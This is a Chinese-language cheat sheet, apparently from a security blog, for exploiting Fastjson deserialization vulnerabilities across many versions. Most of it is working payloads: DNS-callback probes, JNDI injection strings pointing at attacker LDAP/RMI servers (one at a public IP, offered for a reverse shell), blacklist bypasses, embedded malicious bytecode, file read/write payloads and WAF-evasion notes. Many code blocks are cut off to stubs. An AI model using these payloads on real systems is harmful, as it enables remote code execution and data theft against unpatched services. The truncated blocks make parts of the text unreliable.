Fastjson漏洞利用
框架确认
{"@type":"java.lang.AutoCloseable"
存在漏洞版本:
- 1.2.24
- 1.2.45
- 1.2.46
- 1.2.47
- 1.2.48
- 1.2.49
- 1.2.50
- 1.2.51
- 1.2.52
- 1.2.53
- 1.2.54
- 1.2.55
- 1.2.56
- 1.2.57
- 1.2.58
漏洞验证
方法一:利用 java.net.Inet [4 | 6] 地址
1 | {"@type":"java.net.Inet4Address","val":"in0i3v.ceye.io"}{"@type":"java.net.Inet6Address","val":"in0i3v.ceye.io"} |
方法二:利用 java.net.InetSocketAddress
1 | {"@type":"java.net.InetSocketAddress"{"address":,"val":"in0i3v.ceye.io"}} |
方法三:利用 java.net.URL
1 | {{"@type":"java.net.URL","val":"http://in0i3v.ceye.io"}:"x"} |
fastjson 版本探测
异常回显 fastjson 精确版本号
1 | { |
1.2.47
1 | [ |
1.2.68
1 | [ |
1.2.80
如果收到了两个 dns 请求,则证明使用了 1.2.83 版本 如果收到了一个 dns 请求,则证明使用了 1.2.80 版本
1 | [ |
利用
可见:https://cn-sec.com/archives/1316675.html
反弹 SHELL
基于 RMI 的利用方式,JDK 版本限制在 6u132、7u131、8u121 之前,在 8u122 及之后的版本中,加入了反序列化白名单的机制,关闭了 RMI 远程加载代码
基于 LDAP 的利用方式,JDK 版本限制于 6u211、7u201、8u191、11.0.1 之前,在 8u191 版本中,Oracle 对LDAP 设置限制,发布了 CVE-2018-3149,关闭 JNDI 远程类加载
1 | {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://103.80.27.165:1389/Exploit","autoCommit":true}}} |
各版本利用
除了考虑Fastjson版本,还得考虑JDK版本,中间件版本,第三方依赖版本。
JDK版本对于JDNI注入的限制,基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。(更高版本也有绕过)
更高版本绕过可用https://github.com/veracode-research/rogue-jndi
- jndi
- JdbcRowSetImpl
- C3p0#JndiRefForwardingDataSource
- JndiDataSourceFactory
- bcel
- tomcat#dbcp
- ibatis
- TemplatesImpl
Fastjson 1.2.22-1.2.24
JdbcRowSetImpl
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true} |
c3p0#JndiRefForwardingDataSource
JdbcRowSetImpl无法成功可以一试
1 | {"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0} |
shiro#JndiObjectFactory
1 | {"@type":"org.apache.shiro.jndi.JndiObjectFactory", "resourceName":"rmi://127.0.0.1:9050/exploit"} |
shiro#JndiRealmFactory
1 | {"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":"rmi://127.0.0.1:9050/exploit"} |
bcel
可用于解决不出网利用。
需要注意在Java 8u251以后,bcel类被删除。
tomcat7
org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8及其以后
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
Poc
1 | { |
exp
执行命令回显.
1 | POST /json HTTP/1.1 |
1 | POST /json HTTP/1.1 |
1.2.33 <= fastjson <= 1.2.47
1 | POST /json HTTP/1.1 |
1.2.33<=fastjson<=12.36
1 | { |
1.2.37<=fastjson<=1.2.47
1 | { |
其他
1 | { |
TemplatesImpl
利用条件苛刻,可用于解决不出网利用。
需要调用parseObject()
方法时,加入Feature.SupportNonPublicField参数。
_bytecodes要进行base64编码
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"} |
c3p0#WrapperConnectionPoolDataSource
可用于解决不出网利用。
fastjson <1.2.47
利用c3p0二次反序列化 cc payload到达回显。
1 | POST /json HTTP/1.1 |
Fastjson 1.2.25-1.2.41
1.2.25后将TypeUtils.loadClass替换为checkAutoType()函数,增加了黑名单和白名单。
把autoTypeSupport默认为False。
当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。
当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。
1.2.25黑名单
1 | bsh |
exp
条件需要开启autotype
类名前面加了一个L,后面加一个;可以绕过黑名单
1 | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true} |
Fastjson 1.2.25-1.2.42
从1.2.42版本开始,把之前的明文黑名单,改为hash黑名单。
如下大佬整理的
https://github.com/LeadroyaL/fastjson-blacklist
exp
条件需要开启autotype
双写绕过
1 | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true} |
Fastjson 1.2.25-1.2.43
exp
条件需要开启autotype
加[{绕过
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true} |
Fastjson 1.2.25-1.2.45
条件需要开启autotype
45把之前问题修了,但是可以借助第三方组件绕过。
需要mybatis,且版本需为3.x.x系列<3.5.0的版本。
1 | {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}} |
Fastjson1.2.25-1.2.47通杀
借助缓存进行通杀,缓存在1.2.48被改为默认关闭
漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测
这里有两大版本范围:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
poc:
1 | { |
1.2.48之后版本,小弟水平有限还未复现研究,payload需要注意的细节还未探索
Fastjson 1.2.36 - 1.2.62
正则表达式拒绝服务漏洞
1 | { |
1 | { |
Fastjson1.2.5 <= 1.2.59
需要开启AutoType
1 | {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"} |
Fastjson1.2.5 <= 1.2.60
无需开启 autoType:
1 | {"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"} |
Fastjson1.2.5 <= 1.2.61
1 | {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"} |
Fastjson <1.2.62
- 需要开启AutoType;
- Fastjson <= 1.2.62;
- JNDI注入利用所受的JDK版本限制;
- 目标服务端需要存在xbean-reflect包;
1 | {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"} |
fastjson<=1.2.66
前提条件
- 开启AutoType;
- Fastjson <= 1.2.66;
- JNDI注入利用所受的JDK版本限制;
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
- br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包;
- com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
1 | {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"} |
适用于jdk11以上版本的写文件的payload:
1 | { |
fastjson<=1.2.67
前提条件
- 开启AutoType;
- Fastjson <= 1.2.67;
- JNDI注入利用所受的JDK版本限制;
- org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;
1 | {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}} |
fastjson<=1.2.68
- Fastjson <= 1.2.68;
- 利用类必须是expectClass类的子类或实现类,并且不在黑名单中;
1 | {"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"} |
无需开启AutoType,直接成功绕过CheckAutoType()的检测从而触发执行:
1 | {"@type":"java.lang.AutoCloseable","@type":"vul.VulAutoCloseable","cmd":"calc"} |
读文件
1 | {"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"C:/Windows/win.ini", "targetPath":"D:/wamp64/www/win.txt"} |
写文件
1 | { |
1 | { |
写文件
1 | { |
写文件
1 | { |
适用于jdk8/10的
1 | { |
jdk 8
- position写入的长度,必须和base64编码前的长度一致。
1 | { |
2021黑帽大会腾讯玄武披露
详细漏洞原理待研究
1 | Mysqlconnector 5.1.x |
fastjson未知版本
待探索
1 | {"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}} |
bypasswaf
Fastjson默认会去除键、值外的空格、\b
、\n
、\r
、\f
等,同时还会自动将键与值进行unicode与十六进制解码。
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true} |